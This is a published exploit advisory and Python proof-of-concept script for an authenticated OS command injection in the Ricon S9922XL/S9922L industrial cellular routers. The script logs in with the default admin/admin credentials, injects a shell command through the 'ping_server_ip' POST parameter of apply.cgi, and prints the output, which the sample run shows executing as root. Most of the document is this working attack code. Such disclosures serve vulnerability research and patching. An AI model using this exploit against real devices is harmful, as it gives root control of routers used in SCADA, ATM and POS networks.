Ricon Industrial Cellular Router S9922XL suffers from an authenticated OS command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands as the admin (root) user via the ping_server_ip POST parameter. It is also vulnerable to Heartbleed.
23fc8665a81e1f9a6166b3c13847b608#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
#
# Ricon Industrial Cellular Router S9922XL Remote Command Execution
#
#
# Vendor: Ricon Mobile Inc.
# Product web page: https://www.riconmobile.com
# Affected version: Model: S9922XL and S9922L
# Firmware: 16.10.3
#
# Summary: S9922L series LTE router is designed and manufactured by
# Ricon Mobile Inc., it based on 3G/LTE cellular network technology
# with industrial class quality. With its embedded cellular module,
# it widely used in multiple case like ATM connection, remote office
# security connection, data collection, etc.
#
# The S9922XL-LTE is a mobile network router based on 4G/4.5G, WiFi
# and VPN technologies. Powerful 64-bit Processor and integrated real-time
# operating system specially developed by Ricon Mobile. S9922XL is
# widely used in many areas such as intelligent transportation, scada,
# POS, industrial automation, telemetry, finance, environmental protection.
#
# Desc: The router suffers from an authenticated OS command injection
# vulnerability. This can be exploited to inject and execute arbitrary
# shell commands as the admin (root) user via the 'ping_server_ip' POST
# parameter. Also vulnerable to Heartbleed.
#
# --------------------------------------------------------------------
# C:\>python ricon.py 192.168.1.71 id
# uid=0(admin) gid=0(admin)
# --------------------------------------------------------------------
#
# Tested on: GNU/Linux 2.6.36 (mips)
# WEB-ROUTER
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2021-5653
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5653.php
#
#
# 02.07.2021
#
import requests,sys,re
if len(sys.argv)<3:
print("Ricon Industrial Routers RCE")
print("Usage: ./ricon.py [ip] [cmd]")
sys.exit(17)
else:
ipaddr=sys.argv[1]
execmd=sys.argv[2]
data={'submit_class' :'admin',
'submit_button' :'netTest',
'submit_type' :'',
'action' :'Apply',
'change_action' :'',
'is_ping' :'0',
'ping_server_ip':';'+execmd}
htreq=requests.post('http://'+ipaddr+'/apply.cgi',data=data,auth=('admin','admin'))
htreq=requests.get('http://'+ipaddr+'/asp/admin/netTest.asp',auth=('admin','admin'))
reout=re.search("20\">(.*)</textarea>",htreq.text,flags=re.S).group(1).strip('\n')
print(reout)